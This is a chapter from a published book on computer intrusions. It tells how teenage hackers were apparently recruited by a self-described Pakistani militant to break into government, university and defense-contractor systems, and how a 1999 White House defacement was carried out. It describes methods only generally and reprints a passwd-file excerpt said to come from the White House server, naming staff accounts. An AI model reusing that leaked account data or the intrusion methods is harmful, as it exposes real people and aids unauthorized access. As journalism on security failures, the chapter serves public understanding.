            "text": "23\nChapter 2\nWhen Terrorists Come Calling\nI don’t know why I kept doing it. Compulsive nature? Money hungry? Thirst\nfor power? I can name a number of possibilities. \n— ne0h\nT\nhe 20-year-old hacker who signs as Comrade is just hanging\naround these days in a house that he owns jointly with his\nbrother in a nice part of Miami. Their father lives with them,\nbut that’s only because the kid brother is still a juvenile and Child\nServices insists there be an adult living in the home until the boy turns\n18. The brothers don’t mind, and Dad has his own apartment elsewhere,\nwhich he’ll move back to when the time comes.\nComrade’s mom died two years ago, leaving the house to her sons\nbecause she and the boys’ father were divorced. She left some cash as\nwell. His brother goes to high school, but Comrade is “just hanging\nout.” Most of his family disapproves, he says, “but I don’t really care.”\nWhen you’ve been to prison at a young age — in fact, the youngest per-\nson ever convicted on federal charges as a hacker — the experience tends\nto change your values.\nHacking knows no international borders, of course, so it makes no dif-\nference to either of them that Comrade’s hacker friend ne0h is some\n3,000 miles away. Hacking was what brought them together, and hack-\ning was what took them along a slippery course that would eventually\nlead to what they would later conjecture was serving the cause of inter-\nnational terrorism by conducting break-ins to highly sensitive computer\nsystems. These days, that’s a heavy burden to bear.\n"
        },
        {
            "page_number": 45,
            "text": "A year older than Comrade, ne0h has been “using computers since I\ncould reach the keyboard.” His father ran a computer hardware store and\nwould take the youngster along on customer appointments; the boy\nwould sit on his father’s lap through the sales session. By age 11, he was\nwriting dBase code for his father’s business.\nSomewhere along the line, ne0h came upon a copy of the book\nTakedown (Hyperion Press, 1996) — which is a highly inaccurate\naccount of my own hacking exploits, my three years on the run, and the\nFBI’s search for me. ne0h was captivated by the book:\nYou inspired me. You’re my f___ing mentor. I read every possible\nthing about what you did. I wanted to be a celebrity just like you.\nIt was the motivation that got him into hacking. He decorated his\nroom with computers and networking hubs and a 6-foot-long pirate flag,\nand set out to walk in my footsteps.\nne0h began to accumulate solid hacker knowledge and capabilities.\nSkills came first; discretion would come later. Using the hackers’ term for\na youngster who’s still a beginner, he explained, “In my script kiddie\ndays, I defaced Web sites and put up my real email address.” \nHe hung around Internet Relay Chat (IRC) sites — text-based\nInternet chat rooms where people with a common interest can meet\nonline and exchange information in real time with others who share the\ninterest — in fly fishing, antique airplanes, home brewing, or any of\nthousands of other topics, including hacking. When you type in a mes-\nsage on an IRC site, everybody online at that time sees what you’ve writ-\nten and can respond. Though many people who use IRC regularly don’t\nseem to be aware of it, the communications can be easily logged. I think\nthe logs must by now contain nearly as many words as all the books in\nthe Library of Congress — and text typed in haste with little thought of\nposterity can be retrieved even years later.\nComrade was spending time on some of the same IRC sites, and he\nstruck up a long-distance friendship with ne0h. Hackers frequently form\nalliances for exchanging information and carrying out group attacks.\nne0h, Comrade, and another kid decided to create their own group,\nwhich they dubbed the “Keebler Elves.” A few additional hackers were\nallowed into the group’s conversations, but the three original members\nkept the others in the dark about their black-hat attacks. “We were break-\ning into government sites for fun,” Comrade said. He estimates they\nbroke into “a couple of hundred” supposedly secure government sites.\nA number of IRC channels are watering holes where hackers of differ-\nent stripes gather. One in particular, a network called Efnet, is a site\nComrade describes as “not exactly the computer underground — it’s a\nThe Art of Intrusion\n24\n"
        },
        {
            "page_number": 46,
            "text": "pretty big group of servers.” But within Efnet were some less well-known\nchannels, places you didn’t find your way to on your own but had to be\ntold about by some other black hat whose trust you had gained. Those\nchannels, Comrade says, were “pretty underground.” \nKhalid the Terrorist Dangles Some Bait\nAround 1998 on these “pretty underground” channels, Comrade began\nencountering chat about a guy who had been “hanging around” using\nthe handle RahulB. (Later he would also use Rama3456.) “It was sort of\nknown that he wanted hackers to break into government and military\ncomputers — .gov and .mil sites,” Comrade said. “Rumor had it that he\nworked for Bin Laden. This was before 9/11, so Bin Laden wasn’t a\nname you heard on the news every day.” \nEventually Comrade crossed paths with the mystery man, who he\nwould come to know as Khalid Ibrahim. “I talked to him a few times [on\nIRC] and I talked to him on the phone once.” The man had a foreign\naccent and “it definitely sounded like an overseas connection.”\nne0h, too, was targeted; with him Khalid was more direct and more\nblatant. ne0h recalls:\nAround 1999, I was contacted by email by a man who called him-\nself a militant and said he was in Pakistan. He gave the name\nKhalid Ibrahim. He told me he worked for Pakistani militants. \nWould someone looking for naive kid hackers really wrap himself in a\nterrorist flag — even in the days before 9/11? At first glance the notion\nseems absurd. This man would later claim he had gone to school in the\nUnited States, done a little hacking himself, and associated with hackers\nwhile he was here. So he may have known, or thought he knew, some-\nthing of the hacker’s mindset. Every hacker is to some extent a rebel who\nlives by different standards and enjoys beating the system. If you want to\nset out a honeypot for hackers, maybe announcing that you too are a\nrule-breaker and an outsider wouldn’t be so stupid after all. Maybe it\nwould make your story all the more believable, and your intended con-\nfederates that much less wary and suspicious.\nAnd then there was the money. Khalid offered ne0h $1,000 for hack-\ning into the computer networks of a Chinese university — a place that\nne0h refers to as the MIT of China — and providing him the student\ndatabase files. Presumably this was a test, both of ne0h’s hacking ability\nand of his ingenuity: How do you hack into a computer system when you\ndon’t read the language? Even harder: How do you social engineer your\nway in when you don’t speak the language? \nChapter 2\nWhen Terrorists Come Calling\n25\n"
        },
        {
            "page_number": 47,
            "text": "For ne0h, the language issue turned out to be no barrier at all. He\nbegan hanging around the IRC sites used by a hacker group called\ngLobaLheLL and through that group had made contact with a computer\nstudent at the university. He got in touch and asked the student for a\ncouple of usernames and passwords. The sign-on information came back\nin short order — one hacker to another, no questions asked. ne0h found\nthat computer security at the university ranked somewhere between\ndreadful and lousy, especially surprising for a technology/engineering\nuniversity where they should have known better. Most of the students\nhave chosen passwords identical to their usernames — the same word or\nphrase for both uses.\nThe short list that the student had provided was enough to give ne0h\naccess, allowing him to start snooping around electronically — sniffing,\nin hackerspeak. This turned up a student — we’ll call him Chang — who\nwas accessing FTPs (download sites) in the United States. Among these\nFTPs was a “warez” site — a place for retrieving software. Using a stan-\ndard social engineering trick, ne0h drifted around the college network\npicking up some of the campus lingo. This was easier than it at first\nsounds, since “most of them speak English,” ne0h says. Then he got in\ntouch with Chang, using an account that made it seem as if ne0h was\ncontacting him from the campus computer science lab. \n“I’m from Block 213,” he told Chang electronically, and he made a\nstraightforward request for student names and e-mail addresses, like any\nstudent interested in getting in touch with classmates. Because most of the\npasswords were so easy, getting into the student’s files was a no-brainer. \nVery soon he was able to deliver to Khalid database information on\nabout a hundred students. “I gave him those and he said, ‘I’ve got all I\nneed.’” Khalid was satisfied; clearly he hadn’t wanted the names at all; he\nhad just wanted to see if ne0h could actually come up with the informa-\ntion from such a remote source. “That’s pretty much where our rela-\ntionship started,” ne0h sums up. “I could do the job, he knew I could\ndo the job, so he started giving me other things to do.” \nTelling ne0h to watch his mailbox for his thousand dollars, Khalid\nstarted calling by cell phone about once a week, “usually while he was\ndriving.” The next assignment was to hack into the computer systems of\nIndia’s Bhabha Atomic Research Center. The outfit was running a Sun\nworkstation, which is familiar ground for every hacker. ne0h got into it\neasily enough but found the machine didn’t have any information of\ninterest on it and appeared to be a standalone, not connected to any net-\nwork. Khalid seemed unfazed by the failure.\nMeanwhile, the money for the Chinese university hack still hadn’t\nshown up. When ne0h asked, Khalid got upset. “You never got it?! I sent\nit to you in cash in a birthday card!” he insisted. Obviously this was the\nThe Art of Intrusion\n26\n"
        },
        {
            "page_number": 48,
            "text": "timeworn “Your check is in the mail” ploy, yet ne0h was willing to keep\non accepting assignments. Why? Today he leans toward introspection:\nI kept on because I’m stubborn. It was actually a thrill to think I\nwas going to be paid for it. And I was thinking, “Maybe it really\nwas lost in the mail, maybe he will pay me this time.” \nI don’t know why I kept doing it. Compulsive nature? Money\nhungry? Thirst for power? I can name a number of possibilities. \nAt the same time that Khalid was feeding assignments to ne0h, he was\nalso trolling the IRC sites for other willing players. Comrade was willing,\nthough wary of accepting payment:\nI had understood that he was paying people but I never wanted to\ngive out my information in order to receive money. I figured that\nwhat I was doing was just looking around, but if I started receiv-\ning money, it would make me a real criminal. At most I would\ntalk to him on IRC and throw him a few hosts now and then. \nReporter Niall McKay talked to another fish that Khalid caught in his\nnet, a California teen whose handle was Chameleon (and who is now\ncofounder of a successful security software company). The McKay story on\nWired.com1 dovetailed with the details provided by ne0h and Comrade.\n“I was on IRC one night when this guy said he wanted the DEM soft-\nware. I didn’t have it and I was just messing about with the guy,” the\nhacker claimed. By this time Khalid was growing serious: “DEM” is the\nnickname for the Defense Information Systems Network Equipment\nManager, networking software used by the military. The program was cap-\ntured by the hacker group Masters of Downloading, and word was get-\nting around that the program was available if you asked the right person.\nNo one seems to know whether Khalid ever got his hands on it — or at\nleast, no one is saying. In fact, it’s not even certain the software would\nhave been of any value to him — but he obviously thought it would.\nKhalid was through playing games about Chinese universities and the like.\n“He tried to integrate himself into what the guys in the group were\ndoing,” ne0h told us. Before it was over, Khalid would shadow the hackers\nfor a year and a half, “not like some random person popping in and out but\non a regular basis. He was just there, and it was understood that this was his\nthing.” By “his thing,” ne0h meant breaking into military sites or the com-\nputer systems of commercial companies working on military projects. \nKhalid asked ne0h to get into Lockheed Martin and obtain the\nschematics of certain aircraft systems they were manufacturing for\nBoeing. ne0h did succeed in getting some limited penetration into\nChapter 2\nWhen Terrorists Come Calling\n27\n"
        },
        {
            "page_number": 49,
            "text": "Lockheed, “about three steps into the internal network,” but couldn’t\nget any deeper than two servers (to a level that security people call the\n“DMZ” — in effect, a no-man’s-land). This was not far enough to pen-\netrate past the firewalls that protect the most sensitive corporate infor-\nmation, and he couldn’t locate the information he had been told to look\nfor. According to ne0h:\n[Khalid] got irritated. What he said was basically, “You’re not\nworking for me any more. You can’t do anything.” But then he\naccused me of withholding. He said I was just keeping the infor-\nmation for myself. \nThen he said, “Forget Lockheed Martin. Get directly into Boeing.” \nne0h found that Boeing “wasn’t that secure, if you wanted it bad\nenough.” He got in, he says, by exploiting a known vulnerability of a Boeing\nsystem exposed to the Internet. Then, installing a “sniffer,” he was able to\neavesdrop on all the packets of data going to and from a computer — a kind\nof computer wiretap. From this he was able to capture passwords and\nunencrypted email. Information he gleaned from the emails revealed\nenough intelligence to get into its internal network. \nI found six or seven schematics to doors and the nose of Boeing\n747s — just \ngetting \npassed \nthrough \nclear-text \nemail.\nUnencrypted attachments. Isn’t that great?! (And he laughs.)\nKhalid was ecstatic. He said he was going to give me $4,000. It\nnever showed up — surprise, surprise.\nIn fact, $4,000 would have been a gross overpayment for the informa-\ntion. According to former Boeing security executive Don Boelling, this\nhack could well have been carried out against Boeing as described. But it\nwould have been a waste of time: Once an aircraft model goes into serv-\nice, all customer airlines are given complete sets of schematics. At that\npoint the information is no longer considered company-sensitive; any-\nbody who wants it can have it. “I even saw a CD of the 747 schematics\nbeing offered on eBay recently,” Don said. Of course, Khalid would not\nlikely have known this. And it wouldn’t be until two years later that the\nnation would find out some terrorists had strong reasons for wanting the\nschematics of major transport planes used by U.S. airlines.\nTarget for Tonight: SIPRNET \nWith Comrade, Khalid didn’t bother setting up test exercises. From the first,\nthe hacker says, Khalid “was only interested in military and SIPRNET.”\nThe Art of Intrusion\n28\n"
        },
        {
            "page_number": 50,
            "text": "Most things he wasn’t very specific about what he wanted — just\naccess to government and military sites. Except for SIPRNET.\nHe really wanted information from SIPRNET. \nNo wonder Khalid was eager; this had probably been his target all along.\nSIPRNET is the portion of DISN, the Defense Information System\nNetwork, which carries classified messages. More than that, SIPRNET\n(it’s an acronym for the Secret Internet Protocol Router Network) is now\nthe core of the command and control capability for the U.S. military. \nne0h had already refused an offer from Khalid for a SIPRNET access:\nHe offered $2,000. I turned him down. If I got into SIPRNET,\nI’d have the Feds knocking at my door. $2,000 wasn’t worth a\nbullet in the head.\nBy the time Khalid spoke to Comrade about the assignment, the price\nhad gone up. “He said he would pay I think it was ten thousand dollars\nfor access,” Comrade remembers, sounding a good deal less skittish than\nne0h about taking on the project, though he insists convincingly that it\nwas the challenge, not the money, that tempted him.\nI actually came pretty close to SIPRNET. I got into this one com-\nputer system at the Defense Information Security Agency, DISA.\nThat computer was just slick. It had I think four processors, like,\n2,000 users had access to it, the Unix host file had, like, 5,000 dif-\nferent hosts, and half of them were using privileged accounts; you\nhad to be on that computer to access it — you couldn’t access it\nfrom the outside. \nHowever he figured it out, Comrade’s hunch that he had stumbled into\nsomething important was on target. The core missions of DISA include\njoint command and control, and combat support computing — a clear\noverlap with the functions of SIPRNET. But his efforts were cut short. \nPretty sweet to have all that access, but I never had enough time\nto play around with it to get anywhere. I got busted, like, three or\nfour days later.\nA Time for Worrying\nOn Christmas day 1999, ne0h and Comrade received a jolt. Indian\nAirlines flight IC-814, en route from Katmandu to New Delhi with 178\npassengers and 11 crew, was hijacked in flight. According to news\nChapter 2\nWhen Terrorists Come Calling\n29\n"
        },
        {
            "page_number": 51,
            "text": "reports, the hijackers were Pakistani terrorists associated with the Taliban.\nTerrorists like Khalid?\nUnder orders of the hijackers, the Airbus A300 proceeded on a zigzag\njourney to the Middle East and back, landing briefly in India, Pakistan,\nand the United Arab Emirates, where the body of a slain passenger was\nremoved, a young man on the way home with his new wife from their\nhoneymoon. He had been stabbed to death for the minor offense of\nrefusing to put on a blindfold. \nThe plane eventually landed in Kandahar, Afghanistan — increasing the\nlikelihood of a Taliban connection. The remaining passengers and crew\nwere held on board for eight terror-filled days, and were ultimately\nreleased in exchange for the release of three jailed militants. One of those\nreleased, Sheikh Umer, would later play a role in aiding the financing of\nMohammed Atta, a leader of the 9/11 World Trade Center attacks.\nAfter the hijacking, Khalid told ne0h that his group was responsible\nand he himself had been involved. \nThat scared me to death. He was a bad guy. I felt I had to cover\nmy ass.\nBut ne0h’s distress was tempered by boyish greed. “I still hoped he\nwould pay me my money,” he added.\nThe hijacking connection added fuel to a fire that Khalid had set ablaze\nearlier. At one point, apparently annoyed by the teenagers’ lack of success\nin providing the information he was asking for, Khalid had tried a high-\npressure tactic. Reporter Niall McKay, in the same story for Wired.com,\nwrote of seeing an old IRC message from Khalid to the youngsters in\nwhich he threatened to have them killed if they reported him to the FBI.\nMcKay wrote that he also saw a message from the Pakistani to the kids:\n“I want to know: Did [anybody] tell the Feds about me?” And in another\nplace, “Tell them [if they did that], they are dead meat. I will have snipers\nset on them.”2\nComrade Gets Busted\nThe situation was getting sticky, but it was about to get worse. A few days\nafter Comrade’s success in penetrating a system associated with SIPR-\nNET, his father was pulled over on his way to work. The cops told him,\n“We want to talk to your son,” and showed him a search warrant.\nComrade remembers:\nThere were some people from NASA, the DoD, the FBI. In all\nthere were like ten or twelve agents, and some cops, too. I had been\nThe Art of Intrusion\n30\n"
        },
        {
            "page_number": 52,
            "text": "messing around in some NASA boxes, I put a sniffer up on\nns3.gtra.mil, just to pick up passwords. But as a side effect, it\npicked up emails as well. They told me I was being charged with\nillegal wiretaps for that. And then for the NASA computers I got\ncopyright violations or infringement. And other things.\nJust the day before, a friend said, “Dude, we’re going to get\nbusted soon.” He was flipping out. I figured, “Yeah, he’s got a\npoint.” So I wiped my hard drive.\nBut Comrade wasn’t thorough about the cleanup job. “I had forgot-\nten the old drives hanging around my desk.”\nThey questioned me. I admitted it, I said, “I’m sorry, here’s what\nI did, here’s how to fix it, I won’t do it again.” They were like,\n“All right, we don’t consider you a criminal, don’t do it again.\nIf you do it again, you’ll leave in handcuffs.” They packed up my\ncomputers, peripherals, and spare hard drives, and they left.\nLater on they tried to get Comrade to tell them the password to his\nencrypted hard drives. When he wouldn’t tell, they said they knew how\nto crack the passwords. Comrade knew better: He had used PGP (Pretty\nGood Privacy) encryption and his password was “about a hundred char-\nacters long.” Yet he insists it’s not hard to remember — it’s three of his\nfavorite quotes strung together.\nComrade didn’t hear anything more from them for about six months.\nThen one day he got word that the government was going to press charges.\nBy the time he got to court, he was being nailed for what the prosecutor\nclaimed was a three-week shutdown of NASA computers and intercepting\nthousands of email messages within the Department of Defense.\n(As I know all too well, the “damage” claimed by prosecutors and the\nreal-life damage are sometimes quite different. Comrade downloaded\nsoftware from the NASA’s Marshall Space Flight Center in Alabama, used\nin controlling the temperature and humidity of the International Space\nStation; the government claimed that this had forced a three-week shut-\ndown of certain computer systems. The Department of Defense attack\noffered more realistic cause for concern: Comrade had broken into the\ncomputer system of the Defense Threat Reduction Agency and installed\na “back door” allowing him access at any time.) \nThe government obviously considered the case important as a warning\nto other teenage hackers, and made much of his conviction in the press,\nproclaiming him the youngest person ever convicted of hacking as a fed-\neral crime. Attorney General Janet Reno even issued a statement that said\nin part, “This case, which marks the first time a juvenile hacker will serve\nChapter 2\nWhen Terrorists Come Calling\n31\n"
        },
        {
            "page_number": 53,
            "text": "time in a detention facility, shows that we take computer intrusion seri-\nously and are working with our law enforcement partners to aggressively\nfight this problem.”\nThe judge sentenced Comrade to six months in jail followed by six\nmonths probation, to start after the end of the school semester.\nComrade’s mother was still alive at the time; she hired a new lawyer, got\na lot of letters written, presented the judge what Comrade calls “a whole\nnew case,” and, incredibly, managed to get the sentence reduced to\nhouse arrest followed by four years of probation. \nSometimes in life we don’t make the best of opportunities. “I did the\nhouse arrest and was going through probation. Various things happened,\nI started partying too much, so they sent me to rehab.” Back from rehab,\nComrade got a job with an Internet company and started his own\nInternet outfit. But he and his probation officer weren’t seeing eye to eye\nand Comrade was sent to prison after all. He was just 16 years old, incar-\ncerated for acts he committed at age 15.\nThere aren’t all that many juveniles in the federal system; the place he\nwas sent turned out to a “camp” (apparently an appropriate word) in\nAlabama that housed only 10 prisoners and that Comrade describes as\nlooking “more like a school — locked doors and razor wire fences but\notherwise not much like a jail.” He didn’t even have to go to class\nbecause he had already finished high school. \nBack in Miami and again on probation, Comrade was given a list of\nhackers he would not be allowed to talk to. “The list was like this guy,\nthis guy, and ne0h.” Just “ne0h” — the federal government knew him\nonly by his handle. “They had no idea who he was. If I had access to two\nhundred things, he had access to a thousand things,” Comrade says.\n“ne0h was pretty slick.” As far as either of them knows, law enforcement\nstill hasn’t managed to pin a name on him or pinpoint his location.\nInvestigating Khalid\nWas Khalid the militant he claimed to be, or just some faker pulling the\nchains of the teenagers? Or maybe an FBI operation to probe how far the\nyoung hackers were willing to go? At one time or another, each of the\nhackers who had dealings with Khalid were suspicious that he wasn’t\nreally a militant; the idea of providing information to a foreign agent\nseems to have bothered them a good deal less than the idea the guy\nmight be duping them. Comrade said that he “wondered for the longest\ntime what [Khalid] was. I didn’t know if he was a Fed or if he was for\nreal. Talking to ne0h and talking to him, I decided he was pretty legit.\nBut I never took money from him — that was a barrier I didn’t want to\ncross.” (Earlier in the conversation, when he had first mentioned the\nThe Art of Intrusion\n32\n"
        },
        {
            "page_number": 54,
            "text": "offer of $10,000 from Khalid, he had sounded impressed by the sum.\nWould he really have declined the money if his efforts had been successful\nand Khalid had actually paid up? Perhaps even Comrade himself doesn’t\nreally know the answer to that one.) \nne0h says that Khalid “sounded absolutely professional” but admits to\nhaving had doubts along the way about whether he was really a militant.\n“The whole time I was talking to him, I thought he was full of shit. But\nafter researching with friends who he’s contacted and given other infor-\nmation to, we actually think he really was who he said he was.\nAnother hacker, Savec0re, encountered someone on IRC who said that\nhe had an uncle in the FBI who could arrange immunity for an entire\nhacker group called Milw0rm. “I thought that this would send a message\nto the FBI that we weren’t hostile,” Savec0re told journalist McKay in an\nemail interview. “So I gave him my phone number. The next day I got a\ncall from the so-called FBI agent, but he had an amazingly strong\nPakistani accent.”\n“He said his name was Michael Gordon and that he was with the FBI in\nWashington, DC,” Savec0re told the journalist. “I realized then that it had\nbeen Ibrahim all along.” While some people were wondering if the sup-\nposed terrorist might be an FBI sting, Savec0re was reaching the opposite\nconclusion: that the guy claiming to be an FBI agent was really the same\nterrorist, trying to see if the boys were willing to blow the whistle on him.\nThe notion that this might have been an FBI operation doesn’t seem\nto stand up. If the federal government wanted to find out what these kids\nwere capable of and willing to do, money would have been flowing.\nWhen the FBI thinks a situation is serious enough to run a sting, they put\nmoney behind the effort. Promising $1,000 to ne0h and then not pay-\ning it wouldn’t make any sense. \nApparently only one hacker actually saw any money from Khalid:\nChameleon. “I went to my post-office box one morning, and there was\na check for a thousand dollars with a number to call in Boston,”\nChameleon was quoted as saying in another Wired News story\n(November 4, 1998). Khalid understood he had maps of government\ncomputer networks; the check was payment for the maps. Chameleon\ncashed the check. Two weeks later he was raided by the FBI and interro-\ngated about the payment, raising the interesting question of how the\ngovernment knew about the thousand dollars. This was before 9/11,\nwhen the FBI was focused on domestic crime and paying scant attention\nto the terrorist threat. Chameleon admitted taking the money but\ninsisted to the Wired News journalist that he had not provided any gov-\nernment network maps. \nChapter 2\nWhen Terrorists Come Calling\n33\n"
        },
        {
            "page_number": 55,
            "text": "Though he had confessed to accepting money from a foreign terrorist,\nwhich could have brought a charge of espionage and the possibility of a\nvery long sentence, no charges were ever filed — deepening the mystery.\nPerhaps the government just wanted word to spread in the hacker com-\nmunity that doing business with foreign agents could be risky. Perhaps\nthe check wasn’t from Khalid after all, but from the FBI.\nFew people know Chameleon’s true identity, and he very much wants\nto keep it that way. We wanted to get his version of the story. He refused\nto talk about the matter (merely giving himself an out by mentioning he\nthought Khalid was a Fed just posing as a terrorist). If I were in his posi-\ntion, I probably wouldn’t want to be interviewed on the subject either. \nThe Harkat ul-Mujahideen\nWhile searching the Internet Relay Chat logs, reporter McKay found that\nKhalid had at one point described himself to the young hackers as a mem-\nber of Harkat-ul-Ansar.3 According to the South Asia Intelligence Review,\n“the Harkat-ul-Ansar was termed a terrorist organization by the US due\nto its association with the exiled Saudi terrorist Osama bin Laden in\n1997. To avoid the repercussions of the US ban, the group was recast as\nthe Harkat ul-Mujahideen in 1998.”4\nThe U.S. Department of State has repeatedly warned about this group.\nOne item from State reads, “Pakistani officials said that a U.S. air raid on\nOctober 23 [2001] had killed 22 Pakistani guerrillas who were fighting\nalongside the Taliban near Kabul. The dead were members of the Harkat\nul-Mujaheddin ... [which] had been placed on the State Department’s\nofficial list of terrorist organizations in 1995.”5\nIn fact, the Harkat is today one of the 36 groups designated by State\nas foreign terrorist organizations. Our government, in other words, con-\nsiders them among the baddest actors on the face of the globe. \nThe young hackers, of course, didn’t know this. To them, it was all a\ngame. \nAs for Khalid, a major general of the Indian armed forces, giving an\naddress on the topic of information security in April 2002, confirmed\nKhalid as a terrorist, telling his audience about hacker links with “Khalid\nIbrahim of Pakistani-based Harkat-ul-Ansar.”6 The general seemed trou-\nbled, however, that Khalid himself was based not in Pakistan but in the\ngeneral’s own country, at Delhi, India.\nIn the Aftermath of 9/11\nSome hackers manipulate and deceive. They fool computer systems into\nthinking they have authorization that they have in fact stolen; they practice\nThe Art of Intrusion\n34\n"
        },
        {
            "page_number": 56,
            "text": "social engineering to manipulate people in order to achieve their goals. All\nof this means that when you talk to a hacker, you listen carefully to see if\nwhat he’s telling you, and the way he’s saying it, suggest that he can be\nbelieved. Sometimes you’re just not certain.\nMy coauthor and I weren’t certain about what ne0h told us of his reac-\ntion to 9/11. We believe it just enough to share it:\nDo you know how much I cried that day? I felt for sure my life\nwas over. \nThis was accompanied by a curious nervous laugh — signifying what?\nWe couldn’t tell. \nTo think that maybe I had something to do with it. If I had gone\ninto Lockheed Martin or Boeing and got more information, they\ncould have used that. It was a bad time for me and for America.\nI cried because I never thought to report him. I didn’t use my best\njudgment. That’s the reason he hired me to do all these things ...\nIf I had even a pinkie-finger of a hand into the Trade Center ...\n[The thought] was absolutely devastating.\nActually I lost three friends in the World Trade Center; I never\nfelt so bad. \nMany hackers are in their teens or even younger. Is that too young to\nrecognize the potential danger of responding to requests from someone\nwho could pose a threat to our country? Personally, I’d like to think\n9/11 has made American hackers — even very young ones — suspicious,\nunlikely to be suckered by a terrorist. I just hope I’m right.\nThe White House Break-in\nThe history of computer security in one way parallels the ancient history\nof cryptography. For centuries, code makers have devised ciphers that they\nlabeled “unbreakable.” Even today, in an age of computers that can read-\nily encrypt a message using a one-time pad, or a key containing hundreds\nof characters, most codes are still breakable. (America’s code-making and\ncode-breaking organization, the National Security Agency, boasts a num-\nber of the world’s largest, fastest, most powerful computers.)\nComputer security is like a constant cat-and-mouse game, with security\nexperts on one side and intruders on the other. The Windows operating\nsystem contains lines of code numbering in the tens of millions. It’s a \nChapter 2\nWhen Terrorists Come Calling\n35\n"
        },
        {
            "page_number": 57,
            "text": "no-brainer that any software of massive size will inevitably contain vul-\nnerabilities that dedicated hackers will eventually discover. \nMeanwhile, company workers, bureaucrats, sometimes even security\nprofessionals will install a new computer or application and overlook the\nstep of changing the default password, or constructing one that’s rea-\nsonably secure — leaving the device in a vulnerable state. If you read the\nnews of hacker attacks and break-ins, you already know that military and\ngovernment sites, and even the White House Web site, have already been\ncompromised. In some cases repeatedly.\nGetting onto a site and defacing a Web page is one thing — most of the\ntime it’s essentially trivial, if annoying. Still, many people rely on a single\npassword for every use; if breaking into a Web site leads to capturing pass-\nwords, the attackers might be in position to gain access to other systems on\nthe network and do a great deal more damage. ne0h says that in 1999 he\nand two other members of the hacker’s group gLobaLheLL did just that,\non one of the most sensitive spots in the United States: the White House.\nI believe that the White House was doing a reinstall of their oper-\nating system. They had everything defaulted. And for that period\nof ten, fifteen minutes, Zyklon and MostFearD managed to get\nin, get the shadowed password file, crack it, enter, and change the\nWeb site. I was right there while they were doing it.\nIt was basically being at the right place at the right time. It was\njust by chance, just a fluke that they happened to be on line just\nwhen the site was being worked on.\nWe had discussed it in the gLobaLheLL chat room. I was woken\nup by a phone call around 3 A.M. saying they were doing it. I\nsaid, “Bullshit. Prove it.” I jumped on my computer. Sure enough,\nthey did it.\nMostFearD and Zyklon did most of it. They gave me the shadow\nfile to crack as fast as I could. I got one [password] — a simple\ndictionary word. That was about it.\nne0h provided a portion of what he says is the password file that the\nothers obtained and passed to him, listing what appears to be a few of the\nauthorized users on the White House staff 7:\nroot:x:0:1:Super-User:/:/sbin/sh\ndaemon:x:1:1::/:\nbin:x:2:2::/usr/bin:\nsys:x:3:3::/:\nadm:x:4:4:Admin:/var/adm:\nuucp:x:5:5:uucp Admin:/usr/lib/uucp:\nThe Art of Intrusion\n36\n"
        },
        {
            "page_number": 58,
            "text": "nuucp:x:9:9:uucp\nAdmin:/var/spool/uucppublic:/usr/lib/uucp/uucico\nlisten:x:37:4:Network Admin:/usr/net/nls:\nnobody:x:60001:60001:Nobody:/:\nnoaccess:x:60002:60002:No Access User:/:\nnobody4:x:65534:65534:SunOS 4.x Nobody:/:\nbing:x:1001:10:Bing Feraren:/usr/users/bing:/bin/sh\norion:x:1002:10:Christopher\nAdams:/usr/users/orion:/usr/ace/sdshell\nwebadm:x:1130:101:Web\nAdministrator:/usr/users/webadm:/bin/sh\ncadams:x:1003:10:Christopher\nAdams:/usr/users/cadams:/usr/ace/sdshell\nbartho_m:x:1004:101:Mark\nBartholomew:/usr/users/bartho_m:/usr/ace/sdshell\nmonty:x:1139:101:Monty Haymes:/usr/users/monty:/bin/sh\ndebra:x:1148:101:Debra Reid:/usr/users/debra:/bin/sh\nconnie:x:1149:101:Connie\nColabatistto:/usr/users/connie:/bin/sh\nbill:x:1005:101:William Hadley:/usr/users/bill:/bin/sh\nThis is in the form of a Unix or Linux password file, the kind used when\nthe encrypted passwords are stored in a separate, protected file. Each line\nlists the name of one person who has an account on the system. The entry\n“sdshell” on some lines suggests that these users, for additional security,\nwere carrying a small electronic device called an RSA SecureID, which dis-\nplays a six-digit number that changes every 60 seconds. To sign on, these\nusers must enter the six-digit number displayed at that moment on their\nSecureID device along with a PIN number (which may be assigned in\nsome companies or self-chosen in others).The White House Web site was\ndefaced at the same time as the break-in, to show they had been there,\naccording to ne0h, who provided a link to the defacement (see Figure\n2-1).8 Besides bearing a symbol for the gLobaLheLL hacker group, the\nmessage also includes a logo for the Hong Kong Danger Duo. That was,\nne0h says, a phony name made up to add an element of deception.\nAs ne0h remembers it, the guys responsible for this White House hack\ndidn’t feel any particular elation about having been able to break into\nwhat should be among the half dozen or dozen most secure Web sites in\nthe nation. They were “pretty busy trying to break into everything,”\nne0h explained, “to prove to the world that we were the best.” Instead\nof virtual pats on the back all around, it was, he says, more an attitude of\n“Good job, guys, we finally got it, what’s next?” \nBut they didn’t have much time left for other break-ins of any sort.\nTheir worlds were about to crumble, and that part of the tale brings the\nstory back around once again to the mysterious Khalid.\nChapter 2\nWhen Terrorists Come Calling\n37\n"
        },
        {
            "page_number": 59,
            "text": "Figure 2-1: Defacement page on White \nHouse Web site, May 1999.\nZyklon, otherwise known as Eric Burns, takes over the narrative at this\npoint. He wasn’t ever actually a member of globaLheLL, he says, but did\nhang around on IRC with some of the guys. In his description of events,\nthe White House hack became possible when he discovered the Web site\nwas susceptible to being compromised by exploiting a hole in a sample\nprogram called PHF, which is used to access a Web-based phone book\ndatabase. This was a critical vulnerability, but although people in the hacker\ncommunity knew about it, “not many people were using it,” Zyklon says. \nCarrying out a number of steps (detailed in the Insight section at the\nend of this chapter), he was able to gain root on whitehouse.gov and\nestablish access to other systems on the local network, including the White\nHouse mail server. Zyklon at that point had the ability to intercept any\nmessages between White House staffers and the public, though of course\nthose messages would not have revealed any classified information.\nBut he was also, Zyklon says, able to “grab a copy of the password and\nshadow files.” They hung around the site, seeing what they could find,\nwaiting until people started arriving for work. While he was waiting, he\nreceived a message from Khalid, who said he was writing an article about\nrecent break-ins, and asking Zyklon if he had any recent exploits to tell\nThe Art of Intrusion\n38\n"
        },
        {
            "page_number": 60,
